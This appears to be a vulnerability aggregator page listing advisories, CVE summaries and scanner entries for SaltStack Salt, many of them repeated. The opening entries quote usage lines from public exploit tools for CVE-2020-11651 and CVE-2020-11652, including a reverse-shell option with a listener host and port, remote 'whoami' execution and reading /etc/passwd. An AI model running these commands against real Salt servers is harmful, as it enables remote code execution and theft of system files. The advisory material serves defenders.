CVE-2020-11651

CVE-2020-11651 PoC for CVE-2020-11651 Requires Python3 tested on 3.8 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host optional...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

PT-2026-61592

New CVE-2026-63007 in https://t.co/q07sKeom2Z / SUSE Manager. Two formula XML-RPC methods skipped the org permission check every sibling enforces. A low-priv user in one org could read another org's Salt pillar secrets and push tampered config to its minions. cve research https://t.co/nLYkERfxK9...

PYSEC-2026-1896 Salt's worker process vulnerable to denial of service through file read operation

Worker process denial of service through file read operation. .A vulnerability exists in the Master's “pubret” method which is exposed to all minions. The un-sanitized input value “jid” is used to construct a path which is then opened for reading. An attacker could exploit this vulnerabilities by...

Salt has minion event bus authorization bypass vulnerability

Minion event bus authorization bypass. An attacker with access to a minion key can craft a message which may be able to execute a job on other minions = 3007.0...

PYSEC-2026-1899 Salt has minion event bus authorization bypass vulnerability

Minion event bus authorization bypass. An attacker with access to a minion key can craft a message which may be able to execute a job on other minions = 3007.0...

Salt vulnerable to arbitrary event injection

Arbitrary event injection on Salt Master. The master's "minionevent" method can be used by and authorized minion to send arbitrary events onto the master's event bus...

SaltStack Salt 安全漏洞

SaltStack Salt is a set of open-source tools developed by SaltStack Corporation for managing infrastructure. This tool offers features such as configuration management and remote execution. There is a security vulnerability in SaltStack Salt, which stems from a degradation of the authentication...

EUVD-2017-0118

Malware in sbrugna...

Linux Distros Unpatched Vulnerability : CVE-2016-9639

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Salt before 2015.8.11 allows deleted minions to read or write to minions with the same id, related to caching. CVE-2016-9639 Note that Nessus relies on the...

Linux Distros Unpatched Vulnerability : CVE-2025-22236

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Minion event bus authorization bypass. An attacker with access to a minion key can craft a message which may be able to execute a job on other minions = 3007.0...

Linux Distros Unpatched Vulnerability : CVE-2017-7893

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - In SaltStack Salt before 2016.3.6, compromised salt-minions can impersonate the salt-master. CVE-2017-7893 Note that Nessus relies on the presence of the packag...

SUSE CVE-2025-22236

Minion event bus authorization bypass. An attacker with access to a minion key can craft a message which may be able to execute a job on other minions = 3007.0...

Missing Authorization

Overview salt is a new approach to infrastructure management built on a dynamic communication bus. Salt can be used for data-driven orchestration, remote execution for any infrastructure, configuration management for any app stack, and much more. Affected versions of this package are vulnerable t...

CVE-2025-22242

Worker process denial of service through file read operation. .A vulnerability exists in the Master's “pubret” method which is exposed to all minions. The un-sanitized input value “jid” is used to construct a path which is then opened for reading. An attacker could exploit this vulnerabilities by...

CVE-2025-22236

Minion event bus authorization bypass. An attacker with access to a minion key can craft a message which may be able to execute a job on other minions = 3007.0...

UBUNTU-CVE-2025-22236

Minion event bus authorization bypass. An attacker with access to a minion key can craft a message which may be able to execute a job on other minions = 3007.0...

UBUNTU-CVE-2025-22242

Worker process denial of service through file read operation. .A vulnerability exists in the Master's “pubret” method which is exposed to all minions. The un-sanitized input value “jid” is used to construct a path which is then opened for reading. An attacker could exploit this vulnerabilities by...

CVE-2025-22236 CVE-2025-22236 salt advisory

Minion event bus authorization bypass. An attacker with access to a minion key can craft a message which may be able to execute a job on other minions = 3007.0...

Salt 安全漏洞

Salt is an automation, infrastructure management, data-driven orchestration, and remote execution application from the Salt project. A security vulnerability exists in Salt that stems from an event bus authorization bypass that could lead an attacker to execute jobs on other minions...